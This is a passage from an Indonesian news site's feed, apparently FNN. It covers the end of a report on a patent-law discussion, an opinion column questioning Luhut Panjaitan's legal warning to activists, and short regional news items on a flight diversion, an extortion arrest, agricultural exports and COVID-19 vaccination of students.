keseimbangan hak dan kewajiban pemegang paten. Itu yang perlu direnungkan dan mendapat depth valuenya " Begitu pandangan Prof. Henry Soelistyo Budi yang sudah bertungkus lumus keterlibatannya dalam tataran basic policy terkait pembentukan berbagai peraturan perundang-undangan HKI. Pandangan ini akhirnya dapat disetujui oleh Gunawan Suryomurcito, yang juga sudah bertungkus lumus dalam tataran enactment policy. Beliau setuju jika local working diatur dengan aturan-aturan implementasi praktis Daitur dalam aturan organik, jangan dengan undang-undang. Para ilmuwan dana kalamngan akdemisi diajak untuk tidak berhenti di tataran teoritis dan normatif belaka, tapi perlu juga melihat pada tataran praktik, ajak Gunawan Suryomurcito yang saat ini sebagai praktisi urusan HKI di Kantor Suryomurcito&Co. Memang begitulah, si buta bertugas untuk menghembus lesung, si tuli untuk membunyikan meriam. Ilmuwan memberikan pandangannya, para pembuat kebijakan membuat kebijakannya dan para pelaksana kebijakan akan mengeksekusinya. Akhirnya seperti apa yang diperkirakan Prof. Agus Sardjono, muncul juga dalam diskusi ini, apa yang sudah ia sampaikan kepada Direktur Paten dalam satu kesempatan, "Bahwa terkait soal local working diatur lebih lanjut ". Bahkan ia juga sudah sampaikan formulanya. Bahkan pada waktu itu Prof. Agus Sardjono menentang sanksi penghapusan paten ketika Pasal 20 tidak dijalankan. Intinya, "asing" memang cuma mau jualan produk ke pasar Indonesia. Mereka enggan untuk melaksanakan transfer of technology. Sebab apa yang disebut dengan patent disclosure itu tidak ada gunanya. Konsep enabling to work the invention hanya menjadi teori saja. Prof. Agus Sardjono-pun akhirmya menyalahkan bangsa kita sendiri, bukan perusahaan asing. Karena bangsa ini tidak mau bekerja keras, utamanya para pedagangnya yang tak mau repot. Cukup jadi tukang bungkus obat dan sudah dapat laba. Kelangkaan bahan baku yg disebut Dr. Djamal menurut Prof.Agus,Sardjono yang saat ini tercata sebagai Guru Besar Fakuktas Hukum UI dan juga Ketua Dewan Pembina APHKI, hanya jadi alasan agar tidak usah repot-repot membuat produk. Beli saja, selesai. Itu juga yang membuat ekonomi bangsa ini dikuasai makelaar. Penutup Akhirnya sebagai penutup diskusi dengan mengutip Prof Agus Sardjono, Saddam Shauqi yang saat ini tercatat sebagai Dosen Muda pada Fakultas Hukum Universitas Sumatera Utara mengingatkan kembali bahwa dalam Pembukaan UUD 45 ditegaskan tentang tujuan negara, yaitu melindungi segenap tumpah darah Indonesia, mencerdaskan kehiduan bangsa, dan memajukan kesejahteraan umum. Pasal 20 UU Paten boleh dikatakan merupakan perwujudan dari mandat konstitusi dalam mempertahankan kepentingan nasional untuk mencerdaskan kehidupan bangsa dan memajukan kesejahteraan umum melalui (1) transfer of technology policy (2) penyerapan investasi (3) peneyediaan lapangan kerja. Akhirnya dari diskusi ini kita semua anggota APHKI dapat mengambil peranan dalam memperjuangkan nasib bangsa ini ke depan. Idealisme tak boleh luntur. APHKI secara kelembagaan bisa hadir menampilkan idealisme keilmuannya, sekaligus sebagai anak bangsa yang akan melahirkan konsep dasar sampai pada implementasi yang dituangkan dalam bentuk regulasi. Semoga ini bisa menjadi "suntikan vaksin" bagi anggota APHKI, demikian harapan Dr. Djamal, Staf Pengajar Hukum Kekayaan Intelektual dari Fakultas Hukum Universitas Katolik Parahyangan Bandung yang juga selaku Ketua Harian APHKI Periode 2020-2023. *) Penulis Guru Besar Ilmu Hukum Universitas Sumatera Ketua Asosiasi Pengajar Hukum Hak Kekayaan Intelektual Indonesia (APHKI) Periode 2020-2023.

Pak Luhut, Apakah Anda Menjadi Kaya Raya Tanpa Noda?

By Asyari Usman LUHUT Binsar Panjaitan (LBP) melayangkan somasi kepada Pengacara Haris Azhar dan Fatia Maulidiyanti (Direktur Koordinator Untuk Orang Hilang dan Korban Tindak Kekerasan atau Kontras). Luhut merasa terhina dan terfitnah oleh video wawancara Haris di kanal Youtube-nya. Isi wawancara itu mengurai dugaan keterlibatan Luhut dalam bisnis tambang di Blok Wabu, Papua. Kontras, Walhi, dan sejumlah lembaga nirlaba lainnya melakukan riset cepat. Tobacom Del Mandiri (TDM) menurut temuan riset itu, ikut dalam pengelolaan tambang di Blok Wabu. TDM adalah anak perusahaan Toba Sejahtera Group (TSG). Luhut adalah salah satu pemegang saham TSG. Mungkin sekali ada kelemahan dalam video Haris. Kita tidak tahu pasti. Tapi, riset bersama oleh sejumlah lembaga nirlaba itu tentu tidak main-main. Mereka pastilah sudah siap dengan segala risiko, termasuk kalau digugat oleh Luhut. Akan tetapi, mengingat sejarah Luhut dalam bisnis pertambangan dan juga bisnis-bisnis lain, apakah dia perlu mempersoalkan temuan riset yang dibeberkan di kanal Haris itu? Apakah Luhut itu seorang pebisnis yang bersih dari segala aspek? Somasi ini terasa berlebihan. Seolah Luhut itu seorang pengusaha dan penguasa yang suci, bersih, tanpa kesalahan? Apa iya? Jujur saja Pak Luhut, apakah Anda menjadi kaya raya seperti sekarang ini tanpa noda, tanpa ada yang dilanggar? Anda yakin praktik bisnis Anda di masa lalu benar-benar lurus? Tidak ada “abuse of power” (penyelewengan)? Tidak ada preferensi karena posisi Anda atau karena siapa Anda? Masa iya temuan riset yang menyebutkan Anda ikut dalam bisnis tambang di Blok Wabu sampai membuat Anda berang, Pak Luhut? Dan kemudian mengintimidasi agar Haris dan Fatia meminta maaf. Janganlah mentang-mentang Anda bisa mengerahkan siapa saja untuk bertindak, lantas Anda melayangkan somasi kepada Haris. Kemudian Anda mencoba memaksa dia dan Fatia tunduk meminta maaf. Haris Azhar dan Fatia Maulida pasti bukan orang sembarangan yang bisa diancam-ancam. Mereka punya reputasi. Mereka tak pernah berbisnis yang merugikan negara. Tak pernah ikut dalam kegiatan pertambangan; dan tidak pula memiliki kekuasaan. Mereka tak pernah menjadi makelar tanah. Tak punya rekening gendut. Mereka pastilah tak punya rekening di luar negeri yang isinya sampai miliran dollar. Mereka tidak sekaliber pejabat tinggi Indonesia yang disebut-sebut memiliki simpanan 1.5 miliar dollar di Singapura.[] (Penulis wartawan senior FNN)

Batik Air Mendarat Darurat Karena Gangguan Mesin

Medan, FNN - Manajemen Maskapai Batik Air mengatakan pesawat dengan nomor penerbangan ID-6897 dari Provinsi Aceh yang mendarat darurat di Bandara Internasional Kualanamu, Deli Serdang, Sumatera Utara karena harus dilakukan pemeriksaan pada bagian mesin. "Dalam memastikan keselamatan dan keamanan penerbangan ID-6897, pilot memutuskan melakukan pengalihan pendaratan ke Bandar Udara Internasional Kualanamu di Deli Serdang, Sumatera Utara (KNO)," kata Corporate Communication Strategic of Batik Air, Danang Mandala Prihantoro, Ahad, 29 Agustus 2021. Ia mengatakan, pengalihan tersebut dikarenakan ada indikator pada kokpit, yang menunjukkan komponen pada salah satu mesin pesawat perlu dilakukan pengecekan atau pemeriksaan. Pesawat udara sudah mendarat normal di Bandar Udara Internasional Kualanamu pukul 11.49 WIB. Setelah pesawat parkir pada tempatnya, seluruh tamu diarahkan menuju ruang tunggu guna mendapatkan informasi lebih lanjut. "Batik Air telah menyampaikan informasi sesuai perkembangan terkini dan sedang mempersiapkan untuk pelayanan kompensasi keterlambatan keberangkatan (delay management) berdasarkan ketentuan yang berlaku," katanya sebagaimana dikutip dari Antara. Danang menegaskan, operasional dan layanan penerbangan nomor ID-6897 hari ini rute Banda Aceh tujuan Jakarta melalui Bandar udara Internasional Sultan Iskandar Muda di AcehvBesar, Aceh (BTJ) tujuan Bandar Udara Internasional Soekarno-Hatta di Tangerang (CGK), telah dijalankan dan dioperasikan menurut standar operasional prosedur (SOP). "Batik Air senantiasa patuh menjalankan operasional dan layanan penerbangan berdasarkan ketentuan atau peraturan yang berlaku, dengan tetap memperhatikan faktor-faktor yang memenuhi aspek keselamatan keamanan serta sebagaimana pedoman protokol kesehatan," tuturnya. Batik Air penerbangan ID-6897 dioperasikan menggunakan Airbus 330-300 registrasi PK-LEL, dengan jumlah 271 penumpang serta 2 (dua) awak kokpit dan 9 (sembilan) awak kabin. Jadwal keberangkatan dari Bandar Udara Internasional Sultan Iskandar Muda pukul 10.45 WIB (Waktu ndonesia Barat, GMT+ 07) dan diperkirakan tiba di Bandar Udara Internasional Soekarno-Hatta pada 12.50 WIB. Sesuai SOP, Batik Air telah menjalankan pengecekan pesawat sebelum keberangkatan (pre flight check) oleh awak kokpit (pilot) dan teknisi. Hasil pengecekan pada pesawat, bahwa dinyatakan layak terbang dan beroperasi (airworthiness for flight),' kata Danang. (MD)

Tim Jatanras Polda Jateng Ungkap Pemerasan Pejabat di Solo

Solo, FNN - Tim Jatanras Polda Jawa Tengah mengungkap kasus pemerasan pejabat di lingkungan Pemerintah Kota Surakarta dengan menangkap seorang pelaku di sebuah indekos belakang Rumah Sakit (RS) Dr Oen Kandang Sapi Solo, Minggu. Kepala Subdit 3 Jatanras Polda Jawa AKBP Agus Puryadi mengatakan pihaknya menangkap pelaku kasus pemerasan berinisial AS (40), warga Pasar Kliwon Solo, yang dibekuk di indekosnya dan kini ditahan di Mapolresta Surakarta untuk diproses hukum. Agus Puryadi mengatakan kasus tersebut berawal adanya laporan dari salah seorang kepala dinas di lingkungan Pemkot Surakarta berinisial Ts yang melaporkan kepada kepolisian bahwa dirinya diperas seorang berinisial AS. Pelaku mengaku orang dekat mantan wali kota kemudian meminta sejumlah uang kepada korban yang katanya untuk biaya rumah sakit dan lain sebagainya. Hal ini dilakukan tersangka sejak bulan Juli 2021 hingga lima kali ditransfer uang sebesar Rp60 juta. "Sebenarnya, antara AS dengan Ts sudah saling kenal. Namun, AS mengaku bernama Edi Pucang Sawit. Bahkan, korban sempat menghindar dengan mengganti nomor handphone, tetapi pelaku tetap mengetahui nomor .barunya," kata Agus Purwadi saat menyerahkan kasus pemerasan ini di Sat Reskrim Polresta Surakarta. Bahkan, pelaku melalui telepon selulernya sempat mengirim kata-kata pengancaman guna memeras korban hingga akhirnya kasus ini dilaporkan kepada polisi. "Kami mendapat laporan dari korban, pada Jumat (27/8), langsung menurunkan Tim Jatanras Polda Jateng dan berhasil menangkap pelaku AS di indekosnya belakang RS Dr Oen Kandang Sapi Solo, Minggu, sekitar pukul 10.00 WIB," kata Agus Purwadi. Dari hasil pengakuan pelaku, ternyata tidak hanya Tm yang menjadi korban pemerasan, namun ada dua pejabat lain di lingkungan Pemkot Surakarta diperas pelaku. Menurut dia, dua pejabat lain yang menjadi korban tersebut masing-masing sudah menyerahkan uang kepada pelaku senilai Rp2,5 juta dan Rp250 ribu. Semua dikirim via rekening milik adik AS kemudian baru dikirim ke rekeningnya. Polisi mengumpulkan sejumlah barang bukti dari tangan pelaku, antara lain sebuah handphone yang digunakan untuk melakukan aksi pemerasan, buku rekening yang berisi uang sisa pemerasan, dan satu unit kendaraan roda dua. Atas perbuatan pelaku akan dijerat dengan pasa 368 KUHP tentang Tindak Pidana Pemerasan dengan ancaman hukuman maksimal sembilan tahun penjara. Dari hasil pemeriksaan, ternyata pelaku seorang residivis kasus dengan modus sama di Kabupaten Sukoharjo dan dia baru bebas dari tahanan pada 2019. Karena, kejadian ini, pelaku langsung diserahkan kepada Sat Rekrim Polresta Surakarta untuk diproses lebih lanjut. Sementara itu, Kepala Sat Reskrim Polresta Surakarta AKP Djohan Andika mengatakan pihaknya akan melakukan pengembangan kasus tersebut. Menurut dia, pengembangan untuk mengungkap apakah pelaku hanya pemain tunggal atau ada pelaku lain yang terlibat dalam kasus pemerasan tersebut. "Saya berharap jika ada korban lain dengan modus serupa segera melapor kepada Sat Rekrim untuk ditindaklanjuti," katanya. (mth)

Satgas TNI Bantu Warga Perbatasan Buat Atap Honai dari Daun Sagu

Merauke, FNN - Prajurit TNI Satuan Tugas Panmtas RI-PNG Yonif 611/Awang Long melaksanakan anjangsana membantu warga perbatasan RI-Papua Nugini di Kampung Baidub, Distrik Ulilin, Kabupaten Merauke, Papua, membuat atap honai atau pondok kecil rumah dari bahan daun sagu. Komandan Satuan Tugas (Dansatgas) Pamtas RI-PNG Yonif 611/Awang Long Letkol Inf Albert Frantesca, M.Han dalam keterangan diterima, Minggu menyebutkan melalui kunjungan kepada masyarakat personel Satgas TNI dapat belajar mengena adat budaya warga di perbatasan. Kunjungan silaturahim satgas TNI Pos Bupul-12 dipimpin Letda Inf Nyoman dengan melaksanakan anjangsana ke rumah warga binaan di Kampung Baidub, Distrik Ulilin, Kabupaten Merauke sebagai upaya untuk mengetahui kesulitan yang dihadapi dalam warga kehidupan sehari-hari, ujarnya. Diakui dengan anjangsana ini juga warga bisa mengenalkan personel TNI terhadap tentang kebiasaan adat istiadat kebiasaan masyarakat asli Papua di wilayah perbatasan. Bahkan setelah bertemu warga binaan, menurut Dansatgas, anggota TNI dapat melihat langsung aktivitas masyarakat di perbatasan RI-PNG dengan memanfaatkan hasil hutan berupa daun sagu yang dipergunakan untuk membuat atap rumah adat. "Pada kegiatan njangsana personel satgas TNI ikut juga membersihkan pekarangan lingkungan rumah warga agar terlihat lebih asri dan nyaman,"kata Dansatgas Yonif 611/Awang Long Letkol Albert Frantesca. (mth)

Sumut Mulai Ekspor Jengkol dan Petai ke Jepang

Medan, FNN - Sumatera Utara mulai mengekspor jengkol dan petai ke Jepang dengan tahap pertama sebanyak 4 ton. "Ekspor jengkol dan petai sebanyak 4 ton itu senilai Rp339 juta," ujar Kepala Karantina Pertanian Belawan, Andi PM Yusmanto di Medan, Minggu. Komoditas asal sub sektor hortikultura Sumut itu diekspor melalui pelabuhan Belawan. "Syukur, petai dan jengkol itu bisa diekspor ke Jepang setelah melalui proses serangkaian tindakan karantina dan telah dipastikan memenuhi persyaratan teknis negara tujuan ekspor," katanya. Dengan berhasilnya menembus pasar ekspor, komoditas asal sub sektor hortikultura Sumut itu diharapkan terus meningkat. Andi menyebutkan, ekspor petai dan jengkol itu mendukung program strategis Kementerian Pertanian yang digagas Menteri Pertanian Syahrul Yasin Limpo berupa peningkatan ekspor pertanian dengan gerakan tiga kali lipat ekspor pertanian (Gratieks). "Karantina Pertanian Belawan terus menggali potensi komoditas dan melakukan pendampingan teknis agar dapat menembus persyaratan dan protokol ekspor negara tujuan,"katanya. Balai Besar Karantina Pertanian Belawan saat ini sudah membina petani di 100 desa Sumut untuk mendorong volume dan nilai ekspor serta peningkatan jumlah pengusaha mau pun eksportir. Petani di 100 desa itu berada di tujuh kabupaten di Sumut. (mth)

Wartawan Penting Periksa Ulang Sumber dalam Era Banjirnya Siaran Pers

Mataram, FNN - Seorang pewarta atau wartawan sangat penting untuk bisa memeriksa ulang kebenaran sumber berita dari siaran pers yang saat ini sangat banyak beredar dan membanjir secara online. Kepala Biro Perum LKBN ANTARA Provinsi Nusa Tenggara Barat, Riza Fahriza di Mataram, Ahad mengatakan pentingnya cek and ricek siaran pers untuk memastikan kebenaran sumber yang menyampaikan informasi dan untuk lebih memahami maksud dari sebuah siaran pers agar selanjutnya dapat diolah menjadi berita yang layak siar ke publik. ​​​​​​​ Ketika beribicara pada Diskusi Jurnalistik bertema "Rilis dan Berita di Media" yang digelar Bale Media di Sekretariat Tangan Berbagi di Mataram, Sabtu(28/8), Riza menyarankan bagi wartawan yang tidak dapat memahami sebuah siaran pers, sebaiknya menangguhkan pemberitaan agar tidak menjadi bias bagi masyarakat pembaca. "Bisa dibayangkan berita yang dibuat wartawan tanpa pemahaman dan sekedar meneruskan isi siaran pers. Berita itu bisa mendatangkan masalah,'' ucapnya. ​​​​​​​ Hal senada disampaikan praktisi media Sukri Ray Aruman yang menyebutkan persoalan cek and ricek wajib dilakukan sebelum menaikkan berita apalagi berita yang dinilai akan bermasalah. Sebenarnya, kata Ray, sebuah berita akan memiliki nilai lebih jika redaktur atau penanggung jawabnya memiliki pemahaman lebih baik dari wartawannya. "Ini bisa menjadikan media bersangkutan memiliki karakter,” katanya. Sementara praktisi hukum yang juga Relawan Sahabat Anak, Yan Mangandar Putra meminta media dalam menulis berita jangan sampai justru melakukan pembunuhan karakter seseorang terutama ketika mengangkat berita terkait anak-anak. "Selain UU Pers dan ITE, Pedoman Pemberitaan Ramah Anak (PPRA) juga harus menjadi pedoman, dalam penulisan berita,” katanya. Dengan memahami PPRA, Yan berharap anak anak tidak menjadi korban dua kali. “Ingat, anak-anak punya masa depan. Jangan sampai karena pemberitaan, dia kehilangan harapan,” katanya. (mth)

Kemenperin Fasilitasi Sertifikat Standar bagi IKM untuk Izin Usaha

Jakarta, FNN - Kementerian Perindustrian (Kemenperin) memfasilitasi sertifikat standar bagi industri kecil dan menengah (IKM) sebagai upaya mempermudah mendapatkan izin usaha sesuai ketentuan yang ada. Peraturan Pemerintah Nomor 5 Tahun 2021 tentang Penyelenggaraan Perizinan Berusaha Berbasis Risiko yang merupakan turunan dari Undang-Undang Nomor 11 Tahun 2020 tentang Cipta Kerja, memberikan kejelasan mengenai persyaratan yang perlu dimiliki industri untuk memperoleh izin usaha. "Perizinan berusaha berbasis risiko ditentukan berdasarkan hasil penetapan tingkat risiko dan peringkat skala usaha kegiatan usaha yang dilakukan dan dinilai sesuai ketentuan," kata Menteri Perindustrian (Menperin) Agus Gumiwang Kartasasmita dalam keterangannya di Jakarta, Minggu. Menperin menyampaikan perizinan berusaha untuk kegiatan usaha dengan tingkat risiko rendah berupa nomor induk berusaha (NIB) yang merupakan identitas pelaku usaha. NIB juga sekaligus membuktikan legalitas untuk melaksanakan kegiatan usaha, yang juga berlaku sebagai standar nasional Indonesia (SNI) dan pernyataan jaminan halal. Sementara itu, lampiran pada PP Nomor 5 Tahun 2021 menyebutkan bahwa persyaratan kewajiban perizinan berusaha bagi pelaku usaha yang masuk dalam kelompok perizinan berisiko menengah adalah memiliki NIB dan memenuhi SNI, spesifikasi teknis dan/atau pedoman tata cara yang harus dibuktikan melalui sertifikat standar. "Sertifikat standar sendiri merupakan pernyataan dan atau bukti pemenuhan standar pelaksanaan kegiatan berusaha," jelas Menperin. Bagi pelaku IKM, pemerintah memberikan kemudahan dalam proses pemenuhan standar tersebut dengan membiayai sertifikasi SNI bagi usaha mikro kecil. Secara berkelanjutan, Kemenperin memberikan pelatihan kepada para pelaku IKM untuk menerapkan sistem manajemen mutu dan memberikan pelayanan untuk memperoleh Sertifikat Produk Penggunaan Tanda Standar Nasional Indonesia (SPPT SNI). Langkah ini dilakukan Kemenperin dalam upaya mendorong tumbuhnya industri lokal. Fasilitasi yang diberikan berupa konsultasi sistem manajemen mutu dan layanan sertifikasi SNI melalui unit-unit kerja yang dimiliki Kemenperin. Sementara itu, Kemenperin bersama kementerian dan lembaga lain telah berkomitmen untuk memberikan kemudahan memperoleh sertifikasi halal khususnya kepada industri berskala IKM, salah satunya dengan kolaborasi fasilitasi sertifikasi halal. Komitmen tersebut diperkuat melalui penandatanganan nota kesepahaman oleh 10 kementerian dan lembaga tentang Penyelenggaraan Sertifikasi Halal bagi Pelaku Usaha Mikro Kecil pada 2020 lalu. "Hal ini merupakan bukti nyata keberpihakan pemerintah dalam memfasilitasi penyelenggaraan sertifikasi halal dan penyediaan penyelia halal bagi pelaku industri kecil," ujar Menperin. Menperin menyampaikan kebijakan pemenuhan standar produk atau sertifikat produk tidak bersifat diskriminasi. Apabila sebuah produk diwajibkan memenuhi standar, maka tanpa melihat skala industri, mikro, kecil, sedang maupun besar, yang dihasilkan dari dalam negeri maupun luar negeri, semua harus memenuhi persyaratan tersebut. "Adalah tugas pemerintah mengambil peran untuk memberikan kemudahan dalam proses pemenuhan standar tersebut," ujar Menperin Agus. (mth)

Ketua DPD RI Minta Manggarai Barat Gencar Edukasi Vaksinasi COVID-19

Kupang, FNN - Ketua Dewan Perwakilan Daerah (DPD) RI AA LaNyalla Mahmud Mattalitti meminta Pemerintah Kabupaten Manggarai Barat, Nusa Tenggara Timur gencar melakukan edukasi terkait vaksinasi COVID-19 untuk mencegah kemungkinan adanya penolakan dari masyarakat. "Saya meminta agar Dinas Kesehatan Kabupaten Manggarai Barat lebih keras bekerja dalam mengedukasi pentingnya vaksinasi kepada masyarakat agar semua bersedia divaksin," kata LaNyalla di sela kunjungan kerja ke NTT, Ahad. Senator asal Jawa Timur itu mengaku menyayangkan terjadinya penolakan warga menjalani vaksinasi COVID-19 di Desa Pasir Putih, Kecamatan Komodo, Kabupaten Manggarai Barat. Menurut LaNyalla, penolakan ini terjadi akibat hoaks yang masih beredar, terutama yang beredar melalui media sosial atau internet. Oleh sebab itu, ia meminta pemerintah daerah agar bekerja lebih keras melakukan sosialisasi dan edukasi kepada masyarakat untuk menangkal berbagai informasi yang salah terkait vaksin. "Saya kira sosialisasi dan edukasi perlu untuk terus-menerus digencarkan di masyarakat. Penolakan masyarakat terkait vaksinasi banyak disebabkan minimnya informasi yang diterima warga," katanya. LaNyalla menilai pentingnya keterlibatan kepala desa secara langsung dalam memberikan edukasi. Melalui pendekatan kepala desa diharapkan masyarakat dapat melupakan trauma ketakutan terhadap informasi bohong yang beredar terkait vaksin. "Dalam situasi ini saya kira perlu keterlibatan semua pihak agar masyarakat terbebas dari hoaks, sehingga program vaksinasi massal berjalan lancar dan penularan COVID-19 di NTT dapat dikendalikan setelah mengalami lonjakan cukup drastis," katanya. Lebih lanjut, LaNyalla mengatakan saat ini sejumlah daerah di NTT, seperti Kota Kupang, Kabupaten Ende, dan Kabupaten Sumba Timur menjalani program Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level 4. Namun, selain upaya PPKM untuk menurunkan angka jumlah kasus melalui penerapan protokol kesehatan dan peningkatan pengawasan, kata dia, juga perlu untuk mengajak masyarakat NTT agar menjalani vaksinasi, sehingga kekebalan komunitas segera tercapai. (mth)

Menyiapkan Pelajar Kendari Menuju Pembelajaran Tatap Muka

Kendari, FNN - Belum surutnya wabah pandemi Corona Virus Disease 2019 yang akrab di telinga kita sebagai virus corona atau COVID-19, tidak menghalangi kita untuk bangkit. Kurang lebih dua tahun sejak Maret 2020, pandemi COVID-19 membayang-bayangi kehidupan manusia di segala sektor, seperti ekonomi, sosial, agama, termasuk pendidikan. Mengarah ke pendidikan, selama adanya wabah global pandemi COVID-19, generasi bangsa kita harus menjalani pendidikan sekolah secara daring. Pola pendidikan secama itu belum tentu membuat generasi masa depan kita itu paham atas apa yang disampaikan guru. Tak jarang, para pelajar merasa jenuh karena setiap harinya harus bercengkrama dan berinteraksi dengan guru dan teman-teman sekolah melalui gawai (gadget). Terkadang mereka merindukan suasana bercanda ria di dalam maupun di luar kelas, merindukan ekspresi ketegangan ketika ada ujian semester dan lainnya. Semua itu, hanya bisa tersirat di imajinasi mereka akibat virus corona. Mau tidak mau dan tidak ada pilihan lain, hal itu harus dilakukan para siswa atau pelajar agar tetap mendapatkan pendidikan karena merekalah generasi yang bakal melanjutkan masa kepemimpinan ke depannya. Pemerintah, baik pusat hingga daerah, menetapkan berbagai kebijakan selama masa pandemi, termasuk pembelajaran yang wajib dilakukan virtual demi melindungi para pelajar dari infeksi COVID-19 dan variannya. Kebijakan tidak melakukan pembelajaran tatap muka di masa pandemi, apalagi kalau suatu daerah memiliki kasus penyebaran COVID-19 yang meningkat, semua aktivitas produktif dilakukan serba terbatas demi memutus penyeran virus itu. Kini, kabar baiknya para pelajar, baik tingkat SD, SMP hingga SMA, bakal bisa kembali melakukan pembelajaran tatap muka, salah satunya di Kota Kendari, Sulawesi Tenggara (Sultra). Saat ini, pemerintah di daerah itu bersama TNI-Polri bersinergi menyiapkan dan mengawal para siswa untuk melakukan pembelajaran tatap muka dengan memberikan vaksinasi COVID-19. Pemberian vaksinasi bagi para pelajar, khususnya mereka yang berusia 12-17 tahun, dilakukan untuk meningkatkan imun tubuh mereka sehingga tidak teinfeksi ataupun menginfeksi adik kelas yang belum bisa divaksin dari COVID-19 dan varian barunya. Vaksinasi Dalam mempersiapkan peserta didik menghadapi pembelajaran tatap muka, Pemerintah Kota Kendari bekerja sama dengan TNI-Polri setempat melakukan vaksinasi. Pelaksanaan vaksinasi dipantau Kapolda Sulawesi Tenggara Irjen Pol Yan Sultra Indrajaya didampingi Danrem 143/Haluoleo Brigjen TNI Jannie Aldrin Siahaan, di beberapa sekolah di Kota Kendari, baik tingkat SMP maupun SMA. Pihak sekolah membagi dua pelaksanaan vaksinasi guna menghindari kerumunan. Bagi siswa yang hendak divaksin terlebih dahulu dilakukan pemeriksaan kesehatan, apakah layak untuk divaksin atau tidak. Langkah vaksinasi dilakukan sebagai upaya percepatan pembentukan kekebalan kelompok, terutama bagi remaja usia 12 hingga 17 tahun, serta mempercepat proses pembelajaran tatap muka di sekolah. Seluruh vaksin dan juru vaksin disiapkan oleh Polda Sultra, khususnya dari Bidang Kedokteran dan Kesehatan (Biddokkes). Untuk pelaksanaan vaksinasi bagi pelajar tingkat SMP, Polda Sultra menyiapkan delapan titik gerai vaksin yang tersebar di beberapa sekolah di Kota Kendari, dengan sasaran 600 siswa per titik gerai. "Ini semua kami laksanakan untuk mempercepat program vaksinasi massal yang sudah ditetapkan pemerintah pusat dan juga mempersiapkan adik-adik kita untuk melaksanakan pembelajaran tatap muka," kata kapolda. Wali Kota Kendari Sulkarnain Kadir menyampaikan ungkapan terima kasih kepada pihak Polda Sultra atas dukungannya dalam mempercepat proses vaksinasi massal di daerah itu. Menanggapi rencana akan dilakukannya pembelajaran tatap muka, wali kota menyampaikan pihaknya sedang mempersiapkan beberapa sekolah yang dinilai memenuhi syarat untuk melakukan pembelajaran tatap muka, sambil melihat perkembangan COVID-19. Wali kota juga berharap para siswa yang sedang dalam persiapan belajar tatap muka antibodinya bisa terbentuk setelah mendapatkan suntikan vaksin ini. Kepala Dinas Pendidikan dan Kebudayaan Sultra Asrun Lio mengatakan sinergi dengan jajaran kepolisian dalam rangka vaksinasi massal patut diapresiasi. Kolaborasi dengan semua elemen dalam upaya mencegah penyebaran virus corona menjadi suatu keharusan. Tidak boleh hanya satu pihak atau semata-mata mengharapkan dinas kesehatan. Vaksinasi di kalangan pelajar itu dinilai berjalan lancar bersama Kepolisian, TNI, Dinas Kesehatan maupun pihak lainnya . Ia mengajak pihak sekolah proaktif mengingatkan para siswa untuk mengikuti program vaksinasi demi kesehatan dan keselamatan diri sendiri dan keluarga. Raisa, salah seorang siswi SMP Negeri 1 Kendari mengaku senang sudah mendapatkan suntikan vaksin agar bisa terhindari dari penyebaran virus corona jenis baru itu. Dirinya dan rekan-rekannya berharap setelah semua siswa divaksin, bisa segera dilakukan pembelajaran tatap muka, karena mereka merindukan adanya pembelajaran secara tatap muka langsung. Senada dengan pelajar lainnya, Salma, mengaku senang telah divaksin. Ia berharap dengan adanya vaksinasi massal ini keadaan Indonesia akan segera membaik dan pembelajaran tatap muka segera terlaksana. Siap Setelah para siswanya ikut program vaksinasi, SMPN 1 Kendari kini menantikan izin belajar tatap muka terbatas dari Wali Kota Kendari. Kepala SMPN 1 Kendari Abdul Hamid mengatakan dengan telah divaksinnya para siswa maupun guru, sekolah diharapkan dapat segera mendapat izin untuk menyelenggarakan pembelajaran tatap muka secara terbatas. Menurutnya, dengan Kota Kendari masuk PPKM Level 3, sebetulnya sudah bisa melakukan pembelajaran tatap buka secara terbatas. Meski demikian, ia mengaku masih menunggu surat keputusan Wali Kota Kendari tentang izin pembukaan belajar tatap muka secara terbatas di masa pandemi. Lebih lanjut Abdud Hamid menjelaskan dalam rangka pelaksanaan pembelajaran tatap muka terbatas, SMPN 1 Kendari telah mempersiapkan sarana dan prasarana, bahkan skenario pembelajaran tatap muka nantinya. Sekolah-sekolah besar seperti SMPN 1 Kendari tentunya hanya diizinkan melaksanakan pembelajaran tatap muka setiap tingkatan itu hanya dua hari dalam sepekan. Jumlah siswa SMPN 1 Kendari sebanyak 973 orang. Dalam kegiatan vaksinasi ini, tidak semua siswa ikut karena ada penyakit bawaan atau karena siswa yang belum cukup umur. Hamid berharap dengan selesainya vaksinasi ini bisa keluar izin untuk proses pembelajaran tatap muka, walaupun memang masih ada satu atau dua orang yang tidak sempat ikut divaksin karena alasan ada sakit bawaan. Tunggu izin Dinas Pendidikan Kepemudaan dan Olahraga (Dikmudora) Kota Kendari juga masih menunggu izin dari Wali Kota Kendari Sulkarnain Kadir terkait pembukaan pembelajatan tatap muka (PTM) yang sudah mendapat persetujuan pemerintah pusat. Kepala Dikmudora Kendari Makmur mengatakan meski ada izin pusat, namun pemerintah kota masih menjalankan pemberlakuan pembatasan kegiatan masyarakat (PPKM) yang diperpanjang sampai 30 Agustus. Sampai saat ini Dikmudora Kendari belum mendapat instruksi dari Wali Kota Kendari untuk membuka sekolah, meski pusat telah mengizinkannya. Meski belum ada izin wali kota, Makmur membeberkan bahwa sebagian sekolah kecil yang jumlah siswanya sedikit sudah mulai bergerak melakukan persiapan, termasuk bagaimana sekolah menyusun skenario pembelajaran dan mengaturnya nanti seperti apa. Dikatakan, nantinya PTM akan dilakukan dengan betul-betul menerapkan protokol kesehatan dengan ketat, meski para tenaga didik dan siswa telah divaksin. PTM akan dilakukan pembatasan sesuai Instruksi Menteri Dalam Negeri (Inmendagri), tetapi sekolah-sekolah dengan kategori kecil yang jumlah peserta didik di bawah 200 anak boleh belajar setiap hari dalam satu minggu. Sementara sekolah kategori sedang yang peserta didiknya 200-500 anak bisa belajar tiga kali dalam seminggu. Adapun sekolah kategori besar yang peserta didiknya 500 ke atas dimungkinkan bisa belajar tatap muka dua kali dalam sepekan, yang nantinya akan dikombinasikan dengan pembelajaran daring. Dengan demikian, maka hak-hak pelayanan akses pendidikan terhadap peserta didik yang tidak bisa datang tatap muka, itu tetap dibuka dengan metode daring. (mth)

Fakultas Pertanian UGM Bantu Alat Pencacah Ikan KSM Usaha Mulia

